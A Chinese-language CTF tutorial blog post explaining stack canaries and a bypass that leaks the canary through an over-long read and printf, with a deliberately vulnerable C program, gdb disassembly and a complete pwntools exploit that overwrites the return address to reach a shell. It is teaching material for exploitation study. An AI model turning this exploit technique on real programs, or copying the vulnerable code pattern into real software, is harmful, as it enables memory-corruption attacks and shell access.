栈溢出之canary泄露与绕过“新方法”

阅读量    98724 | 评论 11

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前段时间在刷一些基础的pwn,发现自己的基础知识太薄弱了,所以打算按照ctf-wiki开始不断地巩固一下自己的基础。初来乍到,还请各位大佬多多指教啦!

新手入门,有些地方可能讲解的不是很到位,还忘前辈们打脸可以轻点啊~~

 

0x01 前景引入

结合题目,我们先简单的讲解一下栈溢出的原理吧!

栈溢出原理:

栈溢出主要是指向某个变量输入的字节数超过了这个变量向系统空间所申请的栈空间,形成了栈溢出,导致与其相邻的栈空间中的值发生了改变。而我们对于栈溢出的利用方法也是抓住这一点,通过栈溢出进而覆盖跳转类指令(例如ret)所需的eip、ebp值,从而达到劫持控制流的目的。而canary便是属于一种防护栈溢出的手段。

canary保护原理:

当用户开启canary时,系统会在函数开始前先想栈中插入一个cookie,当函数结束,栈帧销毁前会检测栈中cookie值是否被改变。

下面我们通过观察x86架构的局部栈帧结构来理解canary保护。

一般攻击者在进行栈溢出攻击时,是通过覆盖函数结束时ret的返回值所需的eip来进行程序的控制,而cookie值在ret返回地址return address的栈空间上面,因此当攻击者覆盖了return address时同时也会覆盖掉cookie值,这样在函数结束会检测出cookie值发生了改变,导致检测失败,程序中断,避免了程序被攻击者利用。这个cookie值即是canary value。

当开启canary后,在函数的序言部分会取fs/gs寄存器0x28/0x14处的值存放在$ebp-0x8的位置,这便是插入cookie值。在函数结束后,会利用xor进行比较判断cookie值是否发生改变。具体命令如下:

//插入cookie的值
mov  rax, qword ptr fs:[0x28]
mov  qword ptr [rbp - 8], rax

//xor比较cookie值是否改变
mov  rdx,QWORD PTR [rbp-0x8]
xor  rdx,QWORD PTR fs:0x28
je    0x4005d7 <main+65>
call  0x400460 <__stack_chk_fail@plt>

如下图,为某函数开始前插入cookie时的操作,

p/x $eax 序言部分查看canary的值,这个canary值会随着每次程序运行进行改变,即它是不固定的!

 

0x02 canary绕过讲解

关于canary的原理讲了这么多,似乎很牛X的样子,那么我们有没有什么办法可以绕过这玩意儿呢?

这必须得有啊,要不然咱还怎么写下去!

网上百度出来的也大都如下两种方法:

  • 1.爆破canary
  • 2.如果存在字符串格式化漏洞可以输出canary并利用溢出覆盖canary从而达到绕过

第一种方法见……(此处省略未来一篇文章,,,似乎,挖坑了!……)

关于第二种方法方法看大都是利用printf配合式化字符串漏洞(例如,$n%08x)进行溢出,度娘一大把,也就不细讲了,这里主要分享一种我自己调试代码出来的一个方法吧

—–printf(&buf)输出时会输出buf所包含的所有区域,而不仅仅是函数分配给buf的缓冲区长度哦!

方法可能不是很新奇,但是我个人查资料时并没有发现,所以权当一个方法记录吧!如果有写的不恰当的地方,欢迎大佬们不吝赐教啦!

 

0x03 代码示例

如下,是构造好的一段存在漏洞的源码,

//canary.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
  system("/bin/sh");
}
void init() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}
void vuln() {
  char buf[100];
  for(int i=0;i<2;i++){
      read(0, buf, 0x200);
      printf(buf);
  }
}
int main(void) {
  init();
  puts("Hello Hacker!");
  vuln();
  return 0;
}

使用如下命令编译程序:(默认开启 NX,ASLR,Canary 保护)

gcc -m32 -no-pie canary.c -o canary.exe
gcc编译指令解析:
-m32 指的是生成 32 位程序;
-no-pie 关闭PIE(Position Independent Executable)
-o 指定输出文件

如下,编译成功

 

0x04 leak canary

泄露思路:

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。

这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。

—来自ctf-wiki :https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/

leak过程

gdb canary.exe 进行程序调试,输入r进行运行程序

如下,下一步输入S将会进入vuln函数。

disass vuln函数的反汇编,观察程序执行前后的操作。具体反汇编如下图:

在函数序言部分插入canary值:
0x080485fc <+6>:    mov  eax,gs:0x14
0x08048602 <+12>:  mov  DWORD PTR [ebp-0xc],eax
函数返回前,vuln函数返回前检测是否栈溢出
0x08048640 <+74>:  mov  eax,DWORD PTR [ebp-0xc]
0x08048643 <+77>:  xor  eax,DWORD PTR gs:0x14
0x0804864a <+84>:  je    0x8048651 <vuln+91>
0x0804864c <+86>:  call  0x8048450 <__stack_chk_fail@plt>

结合x86堆栈图,我们可以尝试绘制vuln程序的堆栈图。

由上堆栈图,可以发现read函数读取的buf和canary恰好相邻,buf所占长度为100,canary为4。而我们调试程序发现,Read读取时buf的长度为多少,printf输出buf的长度也是多少,不验证函数给buf的分配的原长度。

(PS:这里的表达可能不是很准确哦!因为调试时发现当read读取100个a,其实长度为101,因为字符串结尾还有一个\x00字符,此时printf输出了100个a和一个乱码,这个乱码其实是一个地址空间canary value,所以这里应表达为Read读取时buf的长度为多少,printf输出buf相对应的整数个地址空间!

read(0, &buf, 0x200u); //可以向buf读取最大范围0x200个字节长度
printf(&buf) //输出buf长度=read读取的长度

 

0x05 exp构造

讲了这么多终于到了payload构造的时刻了,突然还有点小激动了呢!哎呦哎呦~~

原理:

结合上述堆栈图,我们可以构造

payload=”A”*100+canary值+unknown+ebx+跳转地址100是因为&buf所占空间为100

我们可以溢出值cookies的低地址,然后通过printf(&buf)获取泄露出来,然后再构造到payload中,跳转地址我们这里可以设置为getshell函数的地址。

payload:

具体python代码构造如下:

#!/usr/bin/env python

from pwn import *
context.binary = 'canary.exe'
#context.log_level='debug'
io=process('./canary.exe')  #本地程序交互
get_shell = ELF("./canary.exe").sym["getshell"]  # 获取getshell函数的起始地址
io.recvuntil("Hello Hacker!\n") #读取字符串“Hello Hacker!”

#leak Canary
payload = "A"*100 #buf所占栈空间长度为100
io.sendline(payload) # 这里使用 sendline() 会在payload后面追加一个换行符 '\n' 对应的十六进制就是0xa
io.recvuntil('A'*100) #读取输入的字符串100个A
Canary = u32(io.recv(4))-0xa # 这里减去0xa是为了减去上面的换行符,得到真正的 Canary
log.info("Canary:"+hex(Canary)) #输出Canary保护中cookie的值

#Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)# 使用getshell的函数地址覆盖原来的返回地
io.send(payload)

io.recv()

io.interactive()

文章over了,看到这里了,如果各位看官点个赞再走呗~~,如果您有一些其他的想法,欢迎评论区留言啦!咱评论区见,等你哦~~~

 

0x06 参考链接

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stack-intro-zh/

https://www.jianshu.com/p/3d390a321cb8

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多